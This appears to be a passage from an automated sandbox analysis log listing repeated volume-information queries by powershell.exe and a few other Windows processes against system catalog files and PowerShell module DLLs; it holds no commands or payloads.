Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
